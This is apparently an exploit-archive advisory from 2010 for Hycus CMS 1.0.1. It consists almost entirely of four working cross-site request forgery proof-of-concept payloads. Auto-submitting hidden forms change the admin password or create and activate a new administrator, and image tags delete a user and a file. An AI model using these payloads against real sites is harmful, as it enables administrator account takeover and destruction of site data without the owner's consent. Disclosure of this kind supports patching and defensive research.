Home / os / win7

Hycus CMS 1.0.1 Multiple Cross Site Request Forgery Vulnerab

Posted on 26 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Hycus CMS 1.0.1 Multiple Cross Site Request Forgery Vulnerabilities</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=================================================================== Hycus CMS 1.0.1 Multiple Cross Site Request Forgery Vulnerabilities =================================================================== &lt;!--- Title: Hycus CMS 1.0.1 Multiple CSRF Vulnerabilities Author: 10n1z3d &lt;10n1z3d[at]w[dot]cn&gt; Date: Thu 26 Aug 2010 07:53:22 PM EEST Vendor: http://www.hycus.com/ Download: http://www.hycus.com/download/hycuscms-1.0.1.zip ---&gt; -=[ CSRF PoC 1 - Change Admin Password ]=- &lt;html&gt; &lt;head&gt; &lt;title&gt;Hycus CMS 1.0.1 Multiple CSRF Vulnerabilities - Change Admin Password&lt;/title&gt; &lt;/head&gt; &lt;body onload=&quot;document.csrf.submit();&quot;&gt; &lt;form name=&quot;csrf&quot; action=&quot;http://[domain]/admin.php?adminmodule=user&quot; method=&quot;post&quot; &gt; &lt;!--- Edit these ---&gt; &lt;input type=&quot;hidden&quot; name=&quot;username&quot; value=&quot;root&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;fullname&quot; value=&quot;root&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;root@root.com&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;pwd&quot; value=&quot;rootroot&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;password2&quot; value=&quot;rootroot&quot; /&gt; &lt;!--- Do not edit below ---&gt; &lt;input type=&quot;hidden&quot; name=&quot;usertype&quot; value=&quot;1&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;1&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;edituser&quot; /&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; -=[ CSRF PoC 2 - Create Admin User ]=- &lt;html&gt; &lt;head&gt; &lt;title&gt;Hycus CMS 1.0.1 Multiple CSRF Vulnerabilities - Create Admin User&lt;/title&gt; &lt;/head&gt; &lt;!--- Submit the first form and delay the second one to make sure the POST request is completed ---&gt; &lt;body onload=&quot;document.csrf1.submit();setTimeout('document.csrf2.submit();',5000);&quot;&gt; &lt;!--- We need this to submit the forms without redirects ---&gt; &lt;div style=&quot;visibility:hidden&quot;&gt; &lt;iframe name=&quot;ipwn&quot; width=&quot;20&quot; height=&quot;20&quot;&gt;&lt;/iframe&gt; &lt;/div&gt; &lt;!--- Creates the user ---&gt; &lt;form name=&quot;csrf1&quot; target=&quot;ipwn&quot; action=&quot;http://[domain]/admin.php?adminmodule=user&quot; method=&quot;post&quot; &gt; &lt;!--- Edit these ---&gt; &lt;input type=&quot;hidden&quot; name=&quot;username&quot; value=&quot;root&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;fullname&quot; value=&quot;root&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;root@root.com&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;pwd&quot; value=&quot;rootroot&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;password2&quot; value=&quot;rootroot&quot; /&gt; &lt;!--- Do not edit below ---&gt; &lt;input type=&quot;hidden&quot; name=&quot;usertype&quot; value=&quot;1&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;adduser&quot; /&gt; &lt;/form&gt; &lt;!--- Activate the new user ---&gt; &lt;form name=&quot;csrf2&quot; target=&quot;ipwn&quot; action=&quot;http://[domain]/admin.php&quot; method=&quot;get&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;adminmodule&quot; value=&quot;user&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;activateuser&quot; /&gt; &lt;!--- We can guess here ---&gt; &lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;2&quot; /&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; -=[ CSRF PoC 3 - Delete User ]=- &lt;img src=&quot;http://[domain]/admin.php?adminmodule=user&amp;task=deleteuser&amp;id=2&quot; alt=&quot;Do you see this?&quot; /&gt; -=[ CSRF PoC 4 - Delete File ]=- &lt;img src=&quot;http://[domain]/admin.php?adminmodule=media&amp;task=deletefile&amp;dir=&amp;file=index.html&quot; alt=&quot;Do you see this?&quot; /&gt; &lt;!--- http://www.evilzone.org/ irc.evilzone.org (6697 / 9999) ---&gt; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-26]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP